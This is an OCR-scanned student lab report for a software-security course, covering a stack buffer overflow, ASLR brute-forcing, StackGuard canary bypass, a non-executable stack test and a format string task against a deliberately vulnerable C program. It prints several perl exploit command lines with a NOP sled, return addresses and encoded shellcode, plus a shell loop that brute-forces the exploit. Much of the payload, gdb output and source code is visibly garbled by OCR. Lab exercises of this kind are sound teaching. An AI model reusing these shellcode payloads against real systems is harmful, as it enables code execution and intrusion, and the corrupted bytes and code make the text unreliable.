FIT5003: Software Security
Assignment 1
Student 1D:33948941



Task 1: Exploiting the Vulnerability

Q1: Provide your video demonstration evidence to support and verify
that you have performed the attack, and it worked successfully. You
need to embed the video link to your report so that the teaching team
can view and verify your works. In the video, you need to demonstrate
following key points:

» The buffer overflow happens, and the attacker receives the shell
when the victim executes the vulnerable program stack. (10 marks if the
attack works during your demonstration video)

* Debug the program stack to investigate the return memory
address and local variables (highlight them in your video demo) in the
function bof(). (15 marks for the debug demonstration and memory
analysis)

 Explain clearly the payload used for exploiting the buffer, i.e. how
many NOPs were used and why, how the return address was selected
etc. (10 marks for your explanation during the demonstration video)

Solution: The solution for the above question is demonstrated in a video.
Please refer to the video link below:

https://drive.google.com/file/d/1Wb6JdBv1vEmMRIfc8AV51iif26 9gAuVkf/vi
ew?usp=sharing

Task B: Task 2: Address Randomisation

Q2 (5 marks): Follow the above steps and answer the highlight
questions. You should describe your observation and explanation briefly.
Furthermore, try whether you can obtain root shell again. [Marking
scheme: 2 marks for the screenshot and 3 marks for the explanation and
solutions].

Solution:


https://drive.google.com/file/d/1Wb6JdBv1vEmRlfc8AV51jjf269qAuVkf/view?usp=sharing
https://drive.google.com/file/d/1Wb6JdBv1vEmRlfc8AV51jjf269qAuVkf/view?usp=sharing

Screenshot:
" jeffint@5003: ~/Downloads

No symbol table is loaded. Use the "file" command.
(gdb) q

3 $ sudo sysctl -w kernel.randomize_va_space=2
[sudo] password for jeffint:
kernel. randomlze va_space = 2
$ ./stack
Usage: /stack <paylaod>
$ sh -¢c "while [ 1 ]; ./stack "\xba\xa7\xb1\x44\xdd\x

dd\xc4\xd9\x74\x24\xf4\xSf\x29\xc9\xb1\xl2\x31\xS7\x12\x83\xef\xfc\x03\xf0\xbf\x
a6\ x28\xcf\x64\xd1\x30\x7c\xd8\x4d\xdd\x80\x57\x90\x91\xe2\xaa\xd3\x41\xb3\x84\x
eb\xa8\xc3\xac\x6a\xca\xab\x24\x8d\x2e\x24\x51\x8f\x2e\x2b\xfd\x06\xcf\xfb\x9b\x
48\ x41\xa8\xdo\x6a\xe8\xaf\xda\xed\xb8\x47\x8b\xc2\x4f\xff\x3b\x32\x9f\x9d\xd2\x
c5\x3c\x33\x76\x5F\x23\x03\x73\x92\x24"; done;"
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)

fault (core dumped)

fault (core dumped)

fault (core dumped)

Explanation: Address Space Layout Randomization (ASLR), which
randomizes important memory locations like the stack, heap and
libraries each time the program runs, is the reason the attack fails. The
exploit is unreliable since the attack cannot precisely identify the
memory addresses required to overwrite main regions, including the
return address, due to this unexpected nature, which depends on
predictable memory layouts, the attack fails instead of succeeding .Even
if using a loop to carry out the assault makes more likely to succeed by
brute force, the likelihood as the attacker will wait for a suitable memory
layout. There are several examples of additional defences like Stack
Guard and non-executable stack that deepens the attack’s effectiveness
and improves the difficulty of the execution.

Task 3: Stack Guard

Q3 Follow the above steps, and report your observations. Provide a
screenshot of the stack and highlight the stackguard in the screenshot.
[Marking scheme: 2 marks for the screenshot and 3 marks for the
explanation and solutions] (5 marks)

Solution:




Screenshot:
The Stack Guard is highlighted below in the blue box

<+122>: mov eax,ox1
<+127>: lea esp,[ebp-0x8]
<+130>: pop ecx
<+131>: pop ebx
<+132>: pop ebp
<+133>: lea esp,[ecx-0x4]
Type <RET> for more, q to quit, c¢ to continue without paging--

<+136>: ret
id of assembler dump.
)db) x/64xw buffer
: oxf7ffdoee oxffffdiss 0x00000002 oxf7feboe9
Ox56555034 0x0000000cC oxffffdi7s 0x5655625e
0x00000000 0x00000000 0x56555034 Oxffffd406
0x56556110 0x00000001 0x00000012 0x0000000c
0x00000019 0x00000018 oxffffdiee Oxac49e000
0x56558fc8 oxf7fb3000 oxffffdiss 0x565563a3
Oxffffd4e6 0x0206050d 0x56558fc8 0x56556359
0x00000002 oxffffd234 oxffffd24e 0x02060506d
oxffffdiaoe 0x00000000 0x00000000 0xf7dededs
Oxf7fb3000 oxf7fb3000 0x00000000 0xf7dededs
0x00000002 oxffffd234 oxffffd24e oxffffdic4
exf7fb3060 oxf7ffdeoe oxffffd21s 0x00000000
oxf7ffdoge Ox00000000 oxf7fb3060 oxf7fb30606
0x00000000 0x3261cc4a 0x715faasSa 0x00000000
0x00000000 Ox00000000 0x00000000 0x00000000
0x00000000 Ox00000000 oxf7fe217d 0x56558fc8

Explanation:

Because the buffer overflow overwrites both the return address and the
canary value that Stack Guard put on the stack, the attack failed. In
between the return address and the local variables, this canary serves
as safety measure. If the canary has changed , Stack Guard verifies it
before the function returns. The program detects if the buffer overflow
has changed and stops the execution immediately.

Solutions:

Bypassing Stack Guard: An attacker would need to be aware that
precise canary value , which is randomly assigned, in order to get
around Stack Guard. Stack Guard is quite good at preventing buffer
overflow attacks, but under certain situations, an information leak
vulnerability can let the attacker read the canary value

Q4 Modify the successful payload from Q1 to bypass the above
stackguard. You do not have to demonstrate the attack for this question.
Answer the below points.



« Calculate the stackguard for the payload used in Q1. (2 marks)

* Provide the modified payload which can attack a system with the
above stackguard protection. Length of the stackguard should be same
as what you found in Q3. If the length is longer than the calculated value
in the previous step, you may add Fs to the end to match the length. Ex:
9DDDBBBF FFFFFFFF (10 marks)

» Explain how the payload can bypass the stackguard with the
above payload. (3 marks)

Solutions:

1. Screenshot:

XOR Calculator

Thanks for using the calculator. View help page.

l. Input: decimal (base 10) v
33948941
&
[I. Input: hexadecimal (base 16) v
56556361
o~
Calculate XOR
[ll. Output: hexadecimal (base 16) v
5453666cC
P

Home Help Privacy

2. run $(perl -e 'print "\x6¢c\66\53\54"x20,
"\x60\xd 1\xff\xff"x24,"\x90"x48,"\xba\xa7\xb1\x44\xdd\xdd\xc4\xd 9\
X74\x24\xf4\x5Ax29\xc9\xb 1\x12\x31\x57\x12\x83\xef\xfc\x03\xfO\x
bf\xa6\x28\xcf\x64\xd 1\x30\x7 c\xd8\x4d\xdd\x80\x57\x90\x91\xe2\x



aa\xd3\x4 1\xb3\x84\xeb\xa8\xc3\xac\x6a\xca\xab\x24\x8d\x2e\x24\
x51\x8f\x2e\x2b\xfd\x06\xcf\xfb\x9b\x48\x4 1\xa8\xd0\x6a\xe8\xaf\x

da\xed\xb8\x4 7\x8b\xc2\x4\xfA\x3b\x32\x9\x9d\xd2\xc5\x3c\x33\x7
6\x5\x23\x03\x73\x92\x24™"")

3.The payload must keep the canary value in order to navigate
around Stack Guard. The canary value is compared before and after
the function call using the Stack Guard technique. The program will
pass the check and permit the buffer overflow to continue without
resulting in a termination if the canary is not overwritten or if you enter
the right canary value.

Therefore, keeping the canary unaltered is essential to getting over
Stack Guard. This can be accomplished by:

exposing the canary value via a different weakness, like a format
string or information disclosure flaw.

putting the precise canary value between the return address and the
spilled buffer in the payload construction.

Task 5: Non-executable Stack

Q5 (5 marks): Follow the above steps, and answer the highlight
questions. You should describe your observation and explanation briefly.
[Marking scheme: 2 marks for the screenshot and 3 marks for the
explanation and solutions]

Solutions:

Screenshot:



/bin/bash: -c: line ©: unexpected EOF while looking for matching ')

h: -c: line 1: syntax error: unexpected end of file

am exited with code 1
\X7O\Xd1\XFF\XFf"x24, "\x90"X48,
/home/Jeffint/Downloads/stack S(perl -e "\x70\xd1\xff\xff
line 0: unexpected EOF while looking for matching
c: line 1: syntax error: unexpected end of file

startup program exited with code 1

nbu-mw;\.rm_.s:q‘u.s 9\ X74\x24\ xf 4| x58\x31\ X9\ xb1\x12\ X8B3\ xCO\ x04\ X31\ x50\ X0\ x03\ 64\ x9b\ x12\ x73\ xbS\x78\x25\ X9\ \x8a\x4b\xfc\x7b\x6c\x86\x7f\
mm»*h 9\xd4 74\ x3b\xd8\ xd1\xd8\xb2\x39\x61\ x86\x94\ xeB\ xd2\ xf4\x16\x82\x35\x37\x98\xc6\xdd\ xa6\xb6\ X95\X75\ x5\ X71\x6b\xbS\x5b\x8b\x8d\X89\X57\xc6\xce
undefined cc di:m8 help
(gdb) runs(perl -e 'print"\x70\xd1\xff 24, "\x98"x48,"\xba\x34\x95\xF0\x86\xda\xc9\xd9\x74\x24\xf4\x58\x31\xc9\xb1 83\xCO\ X04\x31\ x50\ x0e\x83\ x64\x9b\x12\X73\xb5\ x78\ x25\x9f\ xe6\x3d\x99\x0a\x03
\x4b\xfc\x7 \X7f\ \X49\x81\XC6\x25\x21\x18\x39\ xd4\ xbe| x74\ x3b\xd8\ xd1\xd8\xb2\x39\x61\ x86\x94\ xe8\ xd2\ xF4\x16\x82\x35\x37\x98\x 6\xb6\x95\x75\x5F\xe6\x76\xe7\xF6\x71\x6
b\xbS\x5b\x6b\x8
undefined command: *runs'
(gdb) run S(perl -e print \x9 £01x86\xa\xC9\xd9\x74\x24\x4\x58\x31\ X9\ xb1\X12\X83\XCO\X84\x31\ x50\ xOe\x0 \X73\xb5\x78\x25\x9f\ xe6\ x3d\ x99\ x02\x0
a\x4b\xfc\x7b\ 8 2 9 39\xd4\xbe\x74\x3b\ xd8\ xd1\xd8\xb2\ x39\ x61\ x86\x94\ xe8\xd2\ 6\x82\x35 \ \xe6\x76\xe7\xf6\x71\x
b\ xb3\x5b\xBb\xBd\ xB9\x57\xc6\
starting program: /home/jeffint/Downloads/stack S(perl -e 'print™\x70\xd1\xff\xff"x24, "\x90"x48,"\xba\x34\x95\xf6\x86\xda\xc9\xd9\x74\x24\ x4\ x58\x31\xc9\xb1\x12\x83\xc \x9b\x12\
x73\xbS5\x78\x25) 6 9 3\ X4b\XFC\XTD\X6C\XB6\X7F\xeB\x29\xaB\xbF \XC2\x49\XB1\XC6\X25\X21\X18\x39\ x4\ xbe\x74\x3b\xd8\xd1\xdB\xb2\x39\x61\ 2\xf4)\ 2\ .‘\ms,uw-unuz-
\Xb6\X95\x75\x 7\Xf6\x71\x6b\xbS\x5b\x0b\x
Breakpotnt 1,

=0xffffd3zz 77\377p\321\377\377p\321\377\37 Tp\321\37 7\377p\321\ \ \377p

p\321\377\377p\321\377\377 u\u:nvrp-\ 0" 8 \ A,n:\np.m:s\:m.ma
\203)360\0041061P\ 81660 2 X%\ 237\346=\231 115
trepy(buffer, ;

continuting.

Breakpoint 2,
oxffffd17

ceived signal S sentation fault.
in 22 ()

continuing.

Progran termtnated with sign GSEGV, Segmentation fault.
The program no longer ext

7\377p\321\377\377p\321\377 7\377p\321\377\377p\321\37 p epeats 48 times>,
uuv\uu:umr-\m 3 265x%\237\346=\231" 33948941) at
strcpy(buffer, str);
64xw buff
©x0000060C oxffffdess oxfrrfd2is
0000000 0x56555034 8x5655623e
0000001 0x00001000 oxffffdele
8x00000018 0000019 ox 00000012
8x56558fcc xf7fb3000 oxffffdoas 056556361
exffffd3zz 6x0206650d c 0X56556317
0x00000003 oxffffdis4 oxffffd164 0x0206050d
exfrffdece 000000860 0x00600008 oxf7dededs
oxf7fb3660 oxf7fb3060 ©x60000060 f7dededs
6x06000003 exffffdiss exffffdi6a oxffffdoes
exf7fb3000 oxf7ffdeso oxffffd1s 006000000
6x00060600 oxf7fb30e0 oxf7fb3060
6x00000000 Ox5eas4289 0x1d94e499
6x00000000 ©x00000000 ©x00000000
6x00000600 0x06000006 oxf7fe217d
©6x00000003 0x56556070
e 'print”\x90\xde\xff\xff" xc9\xd9\ X74\x24\xf4\x58\x 2 cO\x04\, \x6e\x03\ x64\x9b\x12\x73\xb5\ x78\ x25\x9f\ xe6\x3d\ x99\ x0a\ x|
7b\x6¢\x86\x7f\ xeB\ x29\ xa8\xbf\xc2\ x49\ x81\xc6\x25\ 74\x3b\xd8\xd1\xd8\ xb2\x39\x61\x86\x94\ xe8\xd2\ xF4\x16\x82\x35\x37\x98\xc6\xdd\xa6\xb6\x95 SF\xe6\x76\xe7\xf6\x71\x
b\ x0b)\ x8d\x89\x57\xc6\xce
The program betng debugged has been started already
Start it from the beginning? (y or n) y
arting program: /home/jeffint/Downloads/stack S(perl -e 'print®\x9e\ 2 3 5\xf0 \xc9 12\x83\xc0\x04\x31\ x50\ x0€\x03\x64\x9b\x12\
x9f\xe6\x3d\x99\x0a\x8a\xdb\x 2 9\ 74\ \X86\x94\ xe8\xd2\ xf4\x16\x82\x3 \x98\xc6\xdd\xa6|
5\x75\x5f\xe6 xe7\xf6\x71\x6b\ xb5\x5b\x0b\x8d\x89\x57\xc6\xce" ')
Breakpotnt 1, (
=Oxffffd322 "\226\320\377\377\226\320\377\377\2 \377\220\320\377\377\220\326\377\377\226\326\377\37 77\377\220\320\ 377\ 377\226\ 320\ 377\ 377\ 226\ 326\ 377\ 377\ 226\ 326\ 377\ 377\ 226\ 32|
7\3 *uzzuq»mxw 6\320\377\377\226\ 320\ 37 \ 320\377\377\220\320\377\377\220\320\377\377\ 220\ 320\37 226\326\377\377\226\ 326\ wvmmz:m\ \377\377\226\320\37
\220' <repeats 48 times>, *\272\064\225\360\206)\332\ 221203\ 300\ 004\ 061\ 016\003d\ 233\ 0225\ 265x%\ 237\ 346=\ 231 9 5
strepy(buffer, str);
gdb
Continuing.

Breakpoint 2, (= tr=Bxffffdoge '\220' <repeats 48 times», "\272\064\225\360\266)\332\311\331t$\364X1N)022\203)306\004\661P\016\003d\233\62 X%\237\346=\2 12144) at
17 return

(gdb) ¢
continuing

Progran recelved signal SIGSEGV, Segmentation fault.

tn 22 ()
db) i

Explanations:

Failed Attack: If the attack failed, it is because the program exited to stop
the attack since the stack guard has checked that the canary value was
changed during the buffer overflow.

Solutions:

The payload needs to contain the right canary value at the right place in
the buffer in order to get around Stack Guard. This guarantees that in
the event of a buffer overflow, the canary remains unaltered, enabling
the program to proceed without identifying the overflow.

In practical situations, determining the accurate canary value could
necessitate the discovery of an extra vulnerability (such as a data leak



Task 6: Format String Attack

Q6: You need to upload your demo video to your Monash Google Drive
and embed its shared link to your report so that the teaching team can
view and verify your works. There are marks allocated for explaining the
steps while demonstrating.

1. Find the ASCII value of the character to be changed to using the
above mentioned method. Zero marks will be given for the complete
question if this calculation is incorrect. (2 Marks).

2. Change the first letter of the secret to the UPPER case letter based
on your student ID. Ex: OIT5003 (8 Marks).

3. While the first letter is modified as previous question, now change the
fourth letter of the secret to the LOWER case letter based on your
student ID. Ex: OITo003 (10 Marks).

Hint: Use an ASCII table online to find out the hexadecimal
representation of the letter you want to change to.

Please note that you are not allowed to change the program code by any
means. Doing so will result in zero marks for the question

Solution:

The solution to the question above is demonstrated using a video. Below
here is the link:

https://drive.google.com/file/d/16bz00ehARDyJoXu6KuZVOUJAMYH9A
gdz/view?usp=sharing

Payloads:

run $(perl -e

'print"\x60\xd 1\xfA\xff"x24,"\x90"x48,"\xba\xa7\xb 1\x44\xdd\xdd\xc4\xd9\x
74\x24\xf4\x5\x29\xc9\xb 1\x12\x31\x57\x12\x83\xef\xfc\x03\xfO\xbf\xa 6\
x28\xcf\x64\xd 1\x30\x7c\xd8\x4d\xdd\x80\x57\x90\x91\xe2\xaa\xd3\x4 1\
xb3\x84\xeb\xa8\xc3\xac\x6a\xca\xab\x24\x8d\x2e\x24\x5 1\x8f\x2e\x2b\x
fd\x06\xcf\xfb\x9b\x48\x4 1\xa8\xd0\x6a\xe8\xaf\xda\xed\xb8\x4 7\x8b\xc2
\x4fA\xfA\x3b\x32\x9N\x9d\xd2\xc5\x3¢c\x33\x76\x5A\x23\x03\x73\x92\x24"")


https://drive.google.com/file/d/16bz0OehARDyJoXu6KuZV0UJAmYH9Aq4z/view?usp=sharing
https://drive.google.com/file/d/16bz0OehARDyJoXu6KuZV0UJAmYH9Aq4z/view?usp=sharing

sh -c “while [ 1 ]; do ./stack

"\XdO\xf7\xba\x1f\x51\x7 3\x07\xd9\x74\x24\xf4\x5e\x33\xc9\xb 1\x12\x31\
x56\x17\x03\x56\x17\x83\xf1\xad\x91\xf2\x3c\x95\xa1\x1e\x6d\x6a\x1d\x
8b\x93\xe5\x4 0\xfb\xf5\x38\x02\x6f\xa0\x72\x3c\x5d\xd2\x3a\x3a\xa4\xb
a\xb6\xbc\x54\x35\xaf\xbe\x58\x58\x73\x36\xb9\xea\xed\x18\x6b\x59\x4
1\x9b\x02\xbc\x68\x1c\x46\x56\x1d\x32\x14\xce\x89\x6 3\xf5\x6c\x2 3\xf5\
xea\x22\xe0\x8c\x0c\x72\x0d\x42\x4e"; done;"

run $(perl -e 'print"\x90\xd0\xff\xff"x24,
"\x90"x48,"\xba\x34\x95\xf0\x86\xda\xc9\xd9\x74\x24\xf4\x58\x31\xc9\xb
1\x12\x83\xc0\x04\x31\x50\x0e\x03\x64\x9b\x12\x7 3\xb5\x78\x25\x9f\xe
6\x3d\x99\x0a\x0a\x4b\xfc\x7b\x6c\x86\x7f\xe8\x29\xa8\xbf\xc2\x4 9\x81\
xc6\x25\x21\x18\x39\xd4\xbe\x74\x3b\xd8\xd 1\xd8\xb2\x39\x6 1\x86\x94\
xe8\xd2\xf4\x16\x82\x35\x37\x98\xc6\xdd\xa6\xb6\x95\x75\x5A\xe6\x76\x
e7\xf6\x71\x6b\xb5\x5b\x0b\x8d\x89\x57\xc6\xce™)

Stack.c File
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str,int studentID)
{
int bufSize;
inta=12;
intb =18;
bufSize = 12 + studentlD%32;
char buffer[bufSize];
strcpy(buffer, str);

return 1;



int main(int argc, char **argv([])

{

if(argc < 2) {
printf("Usage: %s <paylaod>\n", argv[0]);
exit(0);

int studentID = 33948941; //ENTER YOUR STUDENT ID HERE
bof(argv[1],studentID);
printf("Returned Properly\n");

return 1;



